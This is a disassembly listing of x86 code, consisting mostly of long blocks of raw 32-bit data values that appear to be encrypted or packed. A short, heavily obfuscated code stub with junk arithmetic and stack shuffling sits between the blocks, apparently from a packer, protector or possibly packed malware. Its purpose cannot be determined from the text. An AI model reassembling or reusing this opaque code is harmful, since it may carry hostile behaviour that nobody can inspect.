		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3C59858Dh, 858906A9h, 6A608E1h, 3C81858Dh, 858906A9h
		dd 6A60DE1h, 3CA9858Dh,	858906A9h, 6A61D4Dh, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 6A61451h, 8A30858Dh,	88B06A9h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3D0A8D89h, 0BD8306A9h, 6A63111h,	0F840F00h
		dd 60000000h, 95FF006Ah, 6A62959h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 685895Ah, 8B06A93Dh
		dd 0A93D0AB5h, 10CEC106h, 2728966h, 3D0AB58Bh, 896606A9h
		dd 8B61FC72h, 0A93D0685h, 958DC306h, 6A616A9h, 9299589h
		dd 958906A6h, 6A61841h,	184185FFh, 85C606A6h, 6A60C29h
		dd 48D86853h, 0B5FFFCB1h, 6A62F8Dh, 3AC3858Dh, 0D0FF06A6h
		dd 29598589h, 858D06A6h, 6A93A00h, 2CDD8589h, 20EB06A6h
		dd 8 dup(0)
		dd 5BBE9h, 5AFE900h, 0CD680000h, 0E906A93Fh, 0FFFD3FA3h
		dd 0A9408B68h, 3F99E906h, 3168FFFDh, 0E906A942h, 0FFFD3F8Fh
		dd 0A942B368h, 3F85E906h, 687DFFFDh, 5E083782h,	0DDE79B4h
		dd 0FDE3AAE7h, 95BF8613h, 1AB3F643h, 0E825F39Dh, 0C550BEADh
		dd 3481577Ah, 66B35909h, 0ACC576F8h, 0B23365D7h, 865B0B17h
		dd 719E3D6Ch, 0EB5CCE9h, 7D941062h, 0C970FEA7h,	39816735h
		dd 6817665Dh, 9F5947Eh,	3B007Bh, 0BC500000h, 41BAA7D6h
		dd 835578C3h, 0C56EC997h, 0EBB5CCE3h, 572D65FFh, 35CCE93Fh
		dd 0ED37D78h, 6D5945E4h, 274FA803h, 0A1193EB7h,	270014h
		dd 0C8A0000h, 65D706ABh, 0A0B22833h, 0E93E57E0h, 7E7F35CCh
		dd 0F853D987h, 35CCE94Bh, 81EF655Dh, 0B727C9D6h, 96239F3Eh
		dd 6C865B5Ch, 0BED38402h, 0A035CCE9h, 7695384Ah, 0B5CCE9DAh
		dd 9B689A90h, 0B1C32D3Ch, 7ECB2102h, 0B1BF5A90h, 0CCF9E906h
		dd 0AC50FFB5h, 5AE08E7Ah, 0CCF950F1h, 0BD1E46B5h, 0B5CCF914h
		dd 0BEB4A01Ah, 0F05BE10Fh, 0B5CCF953h, 0A8176D45h, 6FC854BAh
		dd 0AB244DEEh, 0D0CAB5CCh, 7B0B81E0h, 0B9E00ADCh, 36DC6945h
		dd 0AB105EB7h, 9B095BB5h, 7710E11Dh, 0EDBAE70Eh, 0A69EA094h
		dd 8922F520h, 0B5CC3018h, 0AAB8940Eh, 0B2242D69h, 1841B9BEh
		dd 6A044CF9h, 73994AB3h, 4AA4BBCAh, 2703213h, 9FF5BD83h
		dd 70E6906Ch, 0CE16463Ah, 56A259B4h, 91E17658h,	0A1000000h
		dd 3A24E11Ch, 0B7266391h, 1FB8463Eh, 3365D4F2h,	0D4C162D5h
		dd 0FBD73365h, 0AF08564Ch, 3365D402h, 0FA4BE14h, 0E04FD593h
		dd 54FD5EC6h, 5A3365D4h, 51FE7460h, 0D2042891h,	0FEECABE6h
		dd 6DECB314h, 0AEDF9590h, 3284Eh, 3BD19600h, 6D87A7EEh
		dd 9E7475D0h, 0CA240403h, 0FA2CD07Fh, 36C11CAFh, 0C641DC0Ah
		dd 91BC09E7h, 0A2ED38EEh, 57DF6A80h, 0D6C56EC9h, 0B0EB3365h
		dd 2F372E2h, 8040000h, 2D8E1018h, 35CC2B84h, 0F04030AAh
		dd 122E241Dh, 3D6C865Bh, 0CCE9719Eh, 0E9527B35h, 285835CCh
		dd 2235CCE8h, 35CCE885h, 0CCE8668Fh, 0E8C36C35h, 4382F5CCh
		dd 74F120CEh, 0B3DC08C8h, 0F6945AFh, 0F5F98D81h, 31A5CE69h
		dd 5F4BF5CCh, 0FC540267h, 0A46BD566h, 0C04EFEB7h, 65C5FA17h
		dd 6D0FCF3h, 4CE37169h,	0D2CE2405h, 6BA223ABh, 0E7B8AA0Dh
		dd 309FF81Bh, 33AFDE30h, 0B7288221h, 0CEEA5CCEh, 6A44A0A5h
		dd 0D0000002h, 0E5A0FD17h, 0B79E2BC1h, 42CD58B2h, 16318C62h
		dd 0DA61BC6Ah, 9E487483h, 0CB250403h, 0FA2CD77Eh, 28C2E0AFh
		dd 0A00B959Dh, 3365A903h, 5BA0F215h, 0D63C6D87h, 0FA6BFA17h
		dd 6790C21h, 94805679h,	7B9061CAh, 9F263EB7h, 4BF853CBh
		dd 5D336573h, 0EED08965h, 0CB98A7F2h, 0F4984721h, 0A09C7271h
		dd 324F05F9h, 34E28D2Ah, 3AD0913Eh, 0B34A8B03h,	0B5630EB5h
		dd 358631BFh, 5B381EBDh, 0F3741D6Bh, 3521F647h,	0C83451F8h
		dd 0B413389Eh, 31325DB7h, 807D89DBh, 8F70DB85h,	2933E506h
		dd 8E29B7B1h, 2637B665h, 0F3AC461Bh, 78E74D07h,	2B35806Ah
		dd 1637E18Ch, 7969D6ACh, 0EC4FD593h, 2637B647h,	42E37169h
		dd 37B6F60Fh, 0FF16D726h, 78C5C671h, 3BAB2D4Ch,	0A4AF82E1h
		dd 365BFCE1h, 382F6804h, 7CFAD6C2h, 42C45F6h, 0AA322F68h
		dd 6804E001h, 201CF62Fh, 4367CC52h, 2804EAFAh, 5AB0B29Dh
		dd 457E023h, 0B7362F68h, 52A7105Eh, 642413CAh, 677BE08Eh
		dd 6244E38Dh, 0B9A7FA88h, 91BE5412h, 9B283AD0h,	967C2DC7h
		dd 7B0BE57h, 1FF90C9Eh,	84BF2E8h, 123B809Fh, 7B22C899h
		dd 4DFC16D4h, 0C8D8703h, 0D7973C3Ah, 89FB273Dh,	9CDD60Dh
		dd 1F95D7h, 60CF0000h, 9CD4AE40h, 0CCC63E57h, 151135h
		dd 3C9B0000h, 0DE63C42Ah, 0C52A4FD5h, 344EB0E9h, 0C33E577Ch
		dd 1CCB35CCh, 913A24E1h, 3EB72720h, 0A52D5CB6h,	2483ED28h
		dd 40B2EB05h, 8F0BAC32h, 0E7381BF8h, 51F9940Bh,	0FB8A8EEAh
		dd 0C47Dh, 977D6A00h, 0C12B331Ah, 0F218C974h, 26C898A7h
		dd 5680ACEBh, 822D80DBh, 52FD489Eh, 65207D93h, 3611AC7Ah
		dd 0E343DE34h, 0AB49FA5Dh, 2C5F3365h, 33DD7A16h, 85A44E5h
		dd 5A0401FCh, 0E9D67BDCh, 90D835CCh, 0CCE98A27h, 4A269C35h
		dd 0F3B37D5Ah, 0F38102E7h, 0E909CA6Dh, 239F3EB7h, 0B4518C7Ah
		dd 0A2872CAAh, 0E2AD1148h, 817D2CC2h, 0DF7E40F3h, 0F1183818h
		dd 0BB2C18CEh, 8EE974BEh, 425490B5h, 0E8000000h, 0BD9815FFh
		dd 4FF643A9h, 1A25709Ah, 2E69A44Ah, 259D402h, 0B6600CABh
		dd 0E30DDC7Bh, 12C4EF56h, 40AAB887h, 48E36DF5h,	3365ABDBh
		dd 72989ACDh, 0Dh, 0B4DD7E04h, 0BA35CCE9h, 1E7E3240h, 68825B82h
		dd 26CC9E31h, 0F325C807h, 0CA243B4Ah, 86507C93h, 5284A8E7h
		dd 2AC4E42Bh, 0E50FDC73h, 0B75D0944h
		db 96h,	0A4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	1CA0h
		mov	[esp], edi
		push	4C75h
		mov	[esp], esi
		push	esi
		mov	esi, 4BD24559h
		mov	edi, 352F2A06h
		shl	edi, 3
		xor	edi, 0FB02D34Fh
		sub	edi, esi
		pop	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		add	dword ptr [esp], 54C6A67h
		pop	dword ptr [esi+8]
		push	ecx
		mov	ecx, 3A483982h
		or	ecx, 68611354h
		dec	ecx
		and	ecx, 91172D6h
		add	ecx, 3049691Fh
		sub	ecx, 32FE318Ch
		sub	[esi+8], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		dd 945E96F6h, 431AB843h, 0C50306A9h, 51E9C88Bh,	60000000h
		dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h,	66000000h
		dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h,	8F0F0C7Ah
		dd 15h,	8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch
		dd 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh
		dd 0E900EB00h, 5D7h, 5CBE9h, 450B6800h,	84E906A9h, 68FFFD39h
		dd 6A94610h, 0FD397AE9h, 469568FFh, 70E906A9h, 68FFFD39h
		dd 6A94787h, 0FD3966E9h, 48C068FFh, 5CE906A9h, 14FFFD39h
		dd 216CB953h, 0EB52EF05h, 86811CF6h, 52FD48A6h,	9E2D78AEh
		dd 5A8CB03Fh, 8F6140CFh, 0BE680B32h, 0EC062463h, 0EC4FD151h
		dd 3365AD47h, 57643E69h, 35CCE93Eh, 0CCE99F34h,	0E9779D35h
		dd 0CE6735CCh, 0C435CCE9h, 35CCE9AAh, 0ED3B268Dh, 8F3042BCh
		dd 0B5CCE966h, 16FA627h, 0B2C8CC56h, 0E14A92BEh, 0B36AF640h
		dd 31D37C56h, 916D0BE7h, 0C60BCB15h, 6CF2801Fh,	0BF0ADCC7h
		dd 0C3670AB1h, 6A5EFB68h, 19F5EDB3h, 0FD9C44Bh,	6ECFA61h
		dd 2897D94Ch, 49B5D43Eh, 0A812D33Bh, 9F3657B9h,	5E4A26C8h
		dd 3F2D8A10h, 3C36A8D1h, 147CF79Bh, 9C03FFB8h, 0EECD3DCh
		dd 387EFE8Fh, 50000004h, 65207D97h, 371EAB41h, 0C24DD832h
		dd 96B10CE2h, 5AE13CEAh, 1EC8F403h, 4BA58483h, 7AAC57FEh
		dd 0A842602Fh, 208B151Dh, 3365AC83h, 5B207295h,	17BC1F87h
		dd 1935CCE9h, 7594B5A1h, 35CCE9D9h, 38EA1808h, 25CF932Ah
		dd 9151FC49h, 7E02787Fh, 342C8044h, 83C8C098h, 4CFDE939h
		dd 92CB2101h, 5183F1BDh, 56FD7B91h, 0D3CF7E94h,	0F813C081h
		dd 0B7F0FE31h, 39Eh, 69875B7Bh,	0C81D6C33h, 1DCD8AC9h
		dd 706C56F7h, 0E81C8AC9h, 0DB1535CCh, 7770192Bh, 0AA0D6BA5h
		dd 35CC8D39h, 8DC7B32Fh, 0EDFD2F65h, 1AA48A07h,	0CC8D10B1h
		dd 0D4FF0635h, 0D8771602h, 0FF85E335h, 0CC8D375Ch, 0B3C13935h
		dd 799357FEh, 0EF50ACC0h, 0B396157h, 7B7581D3h,	20020D98h
		dd 6D7C93CAh, 0EA033683h, 0EC35CC02h, 0FA6A13FDh, 2B6DB7Ch
		dd 42B835CCh, 0C09C430h, 2D81C962h, 0BD153EB2h,	92A5184Ah
		dd 0DE1E2F95h, 333h, 2D78924Bh,	13AE4462h, 40DD3734h, 0BC09E7C5h
		dd 0EC39EF91h, 0CDF7005Dh, 0A0878E1Bh, 0A954F34Eh, 471B227Fh
		dd 8C1210ADh, 65AF862Bh, 257DA833h, 0E432DD7Ah,	0EB01216Eh
		dd 0A54F13B2h, 749A4984h, 0E9351239h, 149235CCh, 0CCE90EA3h
		dd 0A8BA1035h, 0CCF9FE17h, 7E9F835h, 1CF2F259h,	0F3816B73h
		dd 0F9963F52h, 16D735CCh, 3750BAACh, 34AEDF31h,	19BD1E58h
		dd 1D3EB2ECh, 8A2E42A5h, 0C019593h, 2AEE8h, 0F319CE00h
		dd 25CF9FA6h, 56BCADE8h, 826C7CDBh, 0B2640837h,	6E892467h
		dd 3E199442h, 0C974C12Fh, 9AA5F026h, 8F9722C8h,	0AF3D5601h
		dd 0F8233365h, 6D875BBAh, 68D1913Ch, 0BE1C578h,	0D5746052h
		dd 0CF4CFDE9h, 3350FB81h, 2535CCE9h, 0E9F71CBFh, 1F935CCh
		dd 652F3D15h, 9ADCE061h, 38EA18C8h, 6EA6C02Ah, 4DBAFE56h
		dd 0F48DC7CBh, 0FE43E41Fh, 63C856F0h, 0F6E8917Bh, 0CC1A2C45h
		dd 8AD83235h, 209D1h, 2248300h,	234DB1E8h, 0CC1A1B88h
		dd 0DF950D35h, 0E93E5783h, 153835CCh, 24CF76C3h, 482694F6h
		dd 0C4B0F6DCh, 1BE46A9Ah, 0DE668768h, 46B8E10Fh, 1AB5186Ah
		dd 9BF8A177h, 84AF7D97h, 0C61AB720h, 920C35CCh,	0F608FF14h
		dd 36221EA8h, 0C0EF0AFBh, 48AEF0FEh, 14000000h,	3A24E11Ch
		dd 0B2DD6D91h, 2E91093Eh, 95937928h, 0BC0E6E1Fh, 0DC000001h
		dd 0E954E10Bh, 0B39A17FDh, 4EC944AEh, 1A25709Eh, 0D615A076h
		dd 82547877h, 0B7590837h, 0E630D37Ah, 14FEECABh, 0A4179999h
		dd 3365AE0Fh, 5BACF611h, 7E746C86h, 0A4F87271h,	41EE70F0h
		dd 0EFD38A60h, 0FB810F95h, 0CCC43350h, 0A3CD2535h, 0CCC49B08h
		dd 5F158D35h, 0CCC45FFCh, 3B2A5135h, 5E4AB4D5h,	2BFDE02Fh
		dd 2BB3B79Eh, 0CCC46380h, 0A19D7535h, 3FD612F8h, 6EB85BE2h
		dd 9C7674D3h, 0EC7475D2h, 0CCC4264Bh, 0E6D2C835h, 0A4095B47h
		dd 0F869C248h, 0EE35CCC4h, 0C4BCD586h, 48A235CCh, 0AAB9065Ch
		dd 0E769C944h, 0CCC4DF74h, 0B0E9C135h, 39D3973Ch, 7FC49E00h
		dd 79E6806Ah, 0B3CE846Ah, 4DFC17D3h, 4AA48423h,	6ED5AF13h
		dd 121A977Dh, 4792A9E2h, 0AFAC288h, 0C0EF6B01h,	7FC0920Bh
		dd 35CC4DD6h, 0B1BF5697h, 0B25E8806h, 7AE4DE3Eh, 56E309DDh
		dd 7A9740CEh, 6C336A5Ch, 0F319C976h, 0FE14D261h, 0A815CB70h
		dd 0C27B57B9h, 0EC2382D0h, 0DF7617C1h, 5FB5B508h, 0D68B3A63h
		dd 48850D3Ch, 2704A3CDh, 50229CCDh, 7AA969C2h, 0C53D3814h
		dd 0ECD1E262h, 0D410358Eh, 83h,	9D28C29Bh, 0C35EB4B2h
		dd 308D6744h, 6CB95715h, 5CE93F21h, 1D07B00Dh, 10D77ECBh
		dd 0F9E4A3FEh, 0B7AB922Fh, 0DC62C05Dh, 65A1D67Bh, 95ADD833h
		dd 87D18A7Ah, 0C9D5079Fh, 0BC5614BBh, 8A60428Dh, 42B072D3h
		dd 0ED38D290h, 0FE1DDDF4h, 109CF0h, 57060000h, 35CCE93Fh
		dd 74C12B3Fh, 19E0h, 3E57B800h,	1935CCE9h, 2D5CB2B2h, 0A7B3C1B1h
		dd 0AD49A76Dh, 907A68D7h, 7A64C905h, 21Ah, 5BB8F800h, 9E316882h
		dd 0C80726CCh, 3B4AF325h, 7C93CA24h, 0A8E78650h, 0E42B5284h
		dd 0DC732AC4h, 944E50Fh, 0A496B75Dh, 1E8768h, 242C8900h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240C89h, 3A9Fh
		dd 50241C89h, 4494B951h, 0C88976FDh, 0FFBBB959h, 0C1018FABh
		dd 4EC8358h, 81242489h,	42404h,	685B0000h, 1B28h, 0B8240489h
		dd 8, 889D801h,	241C8B58h, 5E08950h, 4,	8704C083h, 8B5C2404h
		dd 8953240Ch, 4C381E3h,	83000000h, 1C8704C3h, 0C4E95C24h
		dd 17FFFD33h, 0A94968B8h, 8BC50306h, 0DE8D1h, 0CD850000h
		dd 0D6586284h, 7016EEE0h, 0FCB0F75h, 0E89h, 9E900h, 4E160000h
		dd 9E318BB2h, 5F3FA434h, 8127EC80h, 70EDC7h, 5E900h, 333C0000h
		dd 686DE5D5h, 1BF9h, 8AA6CB81h,	0F5E77ACh, 383h, 97DB8000h
		dd 8B6637FFh, 65B55ACAh, 6E79C281h, 820F0D73h, 19h, 12E956h
		dd 17F40000h, 4BAE749Fh, 0D6B88545h, 0F3874B80h, 0C54E937Dh
		dd 0C3EA815Bh, 0F09E2C7h, 58Ch,	0D764B900h, 0C2810D0Eh
		dd 6F62DA78h, 0E4E9E3BBh, 0E8565227h, 0Ah, 0DBEA5501h
		dd 26B50EE8h, 81662487h, 585305E0h, 66078F5Bh, 8385BCB8h
		dd 0FE902EFh, 10000000h, 0BF78C522h, 0AB2DE850h, 3E902D97h
		dd 4F4F9A62h, 6E9h, 0CF4D4900h,	83343BD9h, 850F01EEh, 18h
		dd 5E9h, 30A94700h, 20E9DE87h, 36000000h, 0F07919h, 0A8DBAA92h
		dd 3810Fh, 8B660000h, 0FF46E9C3h, 0E25FFFFFh, 0BDCBE780h
		dd 0E9FD3894h, 141h, 32531099h,	0DA95ECE7h, 6715893h, 0BEB6CFDFh
		dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h
		dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 6C46BF00h,	7390ADFCh
		dd 0D6A33659h, 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h
		dd 92A7ABDDh, 7A918F97h, 0B9F95CFCh, 9BB1E496h,	9F47E4B5h
		dd 0B6E592B6h, 9EBDF694h, 96B3EBB5h, 9C93D0ECh,	7B97BF99h
		dd 89F55CFDh, 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h
		dd 0F3622D44h, 38AE29B0h, 3C000000h, 40000000h,	2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 22h dup(0)
		dd 2066E900h, 6B680000h, 0E906A94Eh, 0FFFD3153h, 0A94F5F68h
		dd 3149E906h, 3D68FFFDh, 0E906A950h, 0FFFD313Fh, 0A950F868h
		dd 3135E906h, 0EB68FFFDh, 0E906A951h, 0FFFD312Bh, 0A9529768h
		dd 3121E906h, 7E68FFFDh, 0E906A953h, 0FFFD3117h, 0A9544268h
		dd 310DE906h, 1468FFFDh, 0E906A958h, 0FFFD3103h, 0A958A168h
		dd 30F9E906h, 0D468FFFDh, 0E906A959h, 0FFFD30EFh, 0A95D2968h
		dd 30E5E906h, 8968FFFDh, 0E906A960h, 0FFFD30DBh, 0A9641868h
		dd 30D1E906h, 7768FFFDh, 0E906A965h, 0FFFD30C7h, 0A965D668h
		dd 30BDE906h, 4068FFFDh, 0E906A966h, 0FFFD30B3h, 0A966B468h
		dd 30A9E906h, 368FFFDh,	0E906A968h, 0FFFD309Fh,	0A9690C68h
		dd 3095E906h, 5168FFFDh, 0E906A96Bh, 0FFFD308Bh, 3D88627Bh
		dd 63BE5412h, 50ED0724h, 8C19F7F5h, 0FC499F81h,	0FDE710ADh
		dd 0B0B79E2Bh, 5944C35Eh, 570B328Fh, 7C0260BDh,	65A4B6DBh
		dd 0E70DB833h, 9DD1E42Fh, 4F3323C9h, 277B0992h,	3C6D875Bh
		dd 0EE3BD191h, 325FF886h, 2435CCE9h, 8D48B4CEh,	8D45F670h
		dd 513EB2C7h, 6481C079h, 1B336AF6h, 8F24971Dh, 91336AF6h
		dd 8D872B39h, 58B7D209h, 3F91F6h, 1C110000h, 9D3A24E1h
		dd 9E0425F3h, 0B9FDCCF7h, 0B5CFBB22h, 283AA12Fh, 7B0FB0C2h
		dd 133EB232h, 2A4386A7h, 2C336BF3h, 1AB5D43Eh, 6485A44Ah
		dd 0C7D958AAh, 0A65DD92Bh, 0E5F659BEh, 0D0h, 6D875BADh
		dd 6B85A403h, 13B2C032h, 9A7076DDh, 8F597BC8h, 3D2996DEh
		dd 224CB6D7h, 0CCE91889h, 0DE940E35h, 0E29B7171h, 0D855BFA3h
		dd 0CC65D65Ch, 0D235CCE9h, 7B296AF8h, 5E35CCEDh, 6E1FF5F1h
		dd 9151FE74h, 43672E7Bh, 0DB1AF0A9h, 9DC84422h,	424AF3ACh
		dd 77E04E04h, 3EB2C18Fh, 9A37A02Eh, 8C336AA9h, 0BE75C16h
		dd 0DDBC66Dh, 99543A77h, 0C059F27Ch, 9638120Eh,	0D195323Ch
		dd 1FC3023Bh, 0E54B19F5h, 984527Eh, 53B4620Eh, 8EEABFFCh
		dd 9AFE7E0Fh, 3000001Dh, 0C540DD37h, 97BE0BE1h,	0A2ED38D2h
		dd 76D16C82h, 0FA019C4Ah, 7EA85463h, 0AB456423h, 0DA0C371Eh
		dd 8E2C04Fh, 802BB5BDh,	3365A763h, 5B40D275h, 6BD26FB9h
		dd 0F6009D77h, 7077E11Ch, 3EC4A29Eh, 0E3B38DC6h, 7DDE1AF2h
		dd 35CC2FD4h, 7EF4E0DAh, 0B21E2DDDh, 0B0E9C13Eh, 6A1FF411h
		dd 4EF3F233h, 0E09975A3h, 1F862B8Ch, 32A8336Ah,	0FBEA5715h
		dd 0CC003915h, 794FCEC4h, 2CC743B1h, 6BF65852h,	0C6h, 6D875BD7h
		dd 39EF913Ch, 0ED63C100h, 436735CCh, 0AB101CA9h, 33325DB7h
		dd 2A3887DDh, 0BF5799C0h, 0E29F12D9h, 4EB6CC51h, 4FE8768Fh
		dd 3EB2AA77h, 701EAB07h, 7DDE9875h, 3812E20Fh, 0EA31492h
		dd 103883A2h, 6B12F8E9h, 6AC99B77h, 0A749F670h,	0A448F771h
		dd 0C7A1E072h, 0FAB4744Fh, 86DC0D14h, 5EC11739h, 8EE9AFD5h
		dd 0A6FD7B0Ah, 400001Ch, 0D17CC923h, 9BA2FF15h,	0B6912CC6h
		dd 42CD58B6h, 0EE3D885Eh, 6ABCA04Fh, 9F7170DFh,	0CE183B02h
		dd 0FC16D473h, 9C3FC1A1h, 3365A677h, 7A74CE79h,	47E60CDDh
		dd 519F6B5Bh, 3AC5588Dh, 7CF99B28h, 1A97836Dh, 8E239412h
		dd 9035CCE4h, 0C79B283Ah, 0AA866C7Eh, 875BC31Fh, 0EAC62C3Eh
		dd 0A44E1CB3h, 0D5CB7C69h, 52B8AE18h, 9DDBB72Bh, 0B2F5A43Ah
		dd 0C458B23Eh, 0FC145247h, 9B7273F7h, 997776DDh, 0CE39E0A9h
		dd 5F15B4FBh, 61BB4BD1h, 7EDF2FBAh, 0FA902331h,	0CDFD868Eh
		dd 0D7AD7B66h, 0F3DB8278h, 0F65D1BF2h, 0DA481AF0h, 0CC65D65Ch
		dd 0D2FC166Ch, 0FB296AF8h, 0EFF768A1h, 29BDD681h, 37A3E54Ch
		dd 0B4B61D5Bh, 0DC32315Eh, 0AFB31886h, 9D4DC845h, 0E52D1077h
		dd 0AFDECBB8h, 1BC849h,	0AB416600h, 0DD37371Eh,	0EE4C540h
		dd 3AD494B3h, 6ABCA0EFh, 86318CDFh, 56F14C9Ah, 612C7997h
		dd 321DA87Eh, 0E74FDA30h, 0B955FE59h, 205B3365h, 6D875B12h
		dd 0FA17D63Ch, 10E59D27h, 0F36402B4h, 35CCF65Eh, 0F07E6A40h
		dd 0B2D4AB47h, 0CA47B33Eh, 9CDC9262h, 0CBA59130h, 0A33DD8Ch
		dd 0E27DAA8h, 4620DD18h, 14345195h, 63D83438h, 1326CD2Ah
		dd 1889224Ch, 0E388016h, 8961DE94h, 0C7CB3B35h,	0A758853Eh
		dd 25C7780Ah, 66F0F328h, 57D2FD67h, 95817D97h, 564A60CBh
		dd 766CEA4Fh, 7FEFFD7h,	9A16FE59h, 2E84E511h, 2DC79B40h
		dd 5FB5B590h, 0EFAC3BE8h, 7BFD90B9h, 1B0Dh, 0C550BAA3h
		dd 0B866C7Ah, 78B55F0Ch, 54E10FDDh, 8411C7E9h, 25CFE845h
		dd 0C89FA6F3h, 81ACEB26h, 6F73DA57h, 0A42A0885h, 65B99E33h
		dd 0DD658033h, 3C6D875Bh, 0BEAD17D6h, 0E9188922h, 940E35CCh
		dd 5A2CCB8h, 24F29E1Bh,	0E2AD9905h, 837F2EC4h, 5FE563F1h
		dd 0CCE957FCh, 13615935h, 0B2C6DAA0h, 8B06FC3Eh, 3AC054DEh
		dd 6B20CE9Dh, 336AF4C6h, 6B81A1E8h, 0DC19E57Fh,	52944721h
		dd 43814E8h, 7B209AAh, 8E4B80Ah, 0BE1C16Eh, 0D4759F4Ch
		dd 4BD098EAh, 0DDFB3FF4h, 6BF510CDh, 5FF467EDh,	419C39BFh
		dd 0BF812269h, 68979C39h, 0AEA4907Ah, 9B3CBA40h, 9C39BF76h
		dd 4FF08278h, 97478EABh, 0D8365743h, 0F886E01Dh, 3A638D53h
		dd 0DB098AD8h, 0CF8E29A2h, 0AC0F95D3h, 828D2807h, 3DA3B129h
		dd 0E33ED496h, 0FB6C86A4h, 0E4F7E41Ch, 1A7EFE8Fh, 0B000001Ah
		dd 45C05DB7h, 173E8B61h, 226DB852h, 0F651EC02h,	7A811CCAh
		dd 0FE28D4E3h, 2BC5E4A3h, 5A8CB79Eh, 886240CFh,	0AB353Dh
		dd 3365B8E3h, 5BC052F5h, 0D63C6D87h, 0C770FE17h, 3EB2FCA7h
		dd 971D5BB7h, 6AFA8F24h, 533D9133h, 1E07C59Dh, 0BEF3817Dh
		dd 2EAF63C5h, 0A82E89D7h, 7F3814C3h, 66FC16D0h,	7F97D1C9h
		dd 47695E83h, 0F3B7CDB3h, 424551A8h, 7895503Dh,	8BD5DFEh
		dd 0AB1343Ch, 0A0D9B55Bh, 1452AB2Ah, 3657B9AFh,	8F28B6CCh
		dd 2F86DB21h, 0B4135DB5h, 9A085AB4h, 4AC72D3Dh,	92F51FC3h
		dd 845E6B89h, 6EE90F3Eh, 0CC000019h, 99A4F11Bh,	0A3EA27CDh
		dd 7ED954BEh, 0A35806Eh, 2665B066h, 92446887h, 0C7293807h
		dd 0F620C34Ah, 24CE9CBBh, 540789E9h, 3365BB3Fh,	5BBC8621h
		dd 0B03C6D87h, 0E960812Ah, 944735CCh, 35CCE97Fh, 0E4DE8961h
		dd 1B69835Bh, 0CE69F2F3h, 35CCE9A5h, 5635F4Bh, 0B2CE6052h
		dd 1FCF763Eh, 7E6A80A6h, 79E7D3CFh, 0CE2B58F3h,	0C13D336Ah
		dd 5009D857h, 542E1A38h, 25D3601Dh, 85036DA8h, 829E07FFh
		dd 3C3FE894h, 6A6FF21Fh, 740EE433h, 147383C3h, 0F17F6B38h
		dd 0CA73994Ah, 51BBAFE8h, 0EAC44703h, 0ABA4DB72h, 2E95D32Ah
		dd 36A8D13Fh, 6505B63Ch, 99FA753h, 0E3E2E891h, 5EB4C2Ah
		dd 0A999099Fh, 0DA883731h, 0FD7BE530h, 0AD1C295Ah, 0B1C33F9Bh
		dd 1ACE2002h, 25D77E0Fh, 0CF3AAD99h, 0A0EDD81Bh, 18874BADh
		dd 250000h, 0F6F05FEAh,	0A586811Ch, 954BF24Fh, 7D672E7Bh
		dd 72CB1EABh, 308D5B45h, 6DB85615h, 5CE93F22h, 8E1BF1F1h
		dd 14BD1EA0h, 1A3365BAh, 875B53EFh, 17D63C6Dh, 13CB70FEh
		dd 45E40F9h, 34233D9Eh,	88373EB7h, 7C9546DEh, 623365A5h
		dd 0F1ED9C88h, 0EEFC5B05h, 0CF7E9057h, 76DE7D3h, 0DF648A58h
		dd 6D9DB17Fh, 8B8E1BF7h, 3365F8F6h, 0CD2302A9h,	71944FB7h
		dd 0A3491924h, 906D6816h, 257B65D6h, 930F381Eh,	92786ED5h
		dd 972E3807h, 947E68EDh, 251D09F5h, 22BEEFC8h, 0F866526Ch
		dd 0BFA8D972h, 44BE389Eh, 0CB519F0Eh, 9EBFC360h, 67FDD538h
		dd 0ACB30AD8h, 1CF15642h, 738EE74Fh, 17C39AD2h,	4C190000h
		dd 3A2C6BA6h
		dd 0E9FA45D0h, 0D98FB603h, 0B153FA37h, 3E9F2A67h, 0CC598FB1h
		dd 318C6241h, 60BD6B16h, 52EF0525h, 78E942CCh, 6E3365BDh
		dd 0E11C673Bh, 48CA3A24h, 3100465h, 0B7208EC4h,	3EB7E7ADh
		dd 0B82741B9h, 0DF540AAh, 7D9641D6h, 633366F7h,	7ADD9B77h
		dd 3366F7DDh, 0EB71FFEBh, 66F72340h, 93DD3533h,	66F78B38h
		dd 2F259D33h, 0F7335BFEh, 0E4523366h, 18CEF15Eh, 0B5DE7D61h
		dd 0BB3366F7h, 97ED354Fh, 54B6F813h, 4BB7F6h, 1C7B0000h
		dd 934422E7h, 35CCE972h, 0BCDF8E64h, 35CCE913h,	0CA4E446Ch
		dd 0F0FEA82Fh, 2C6Eh, 3F57D400h, 7835CCE9h, 75E6807Dh
		dd 3EB2F075h, 0F869C248h, 0A9336AE1h, 1E074E09h, 0F96710CFh
		dd 6AE1355Eh, 0D3CF3B33h, 7DC82281h, 24E11C21h,	0F5E9913Ah
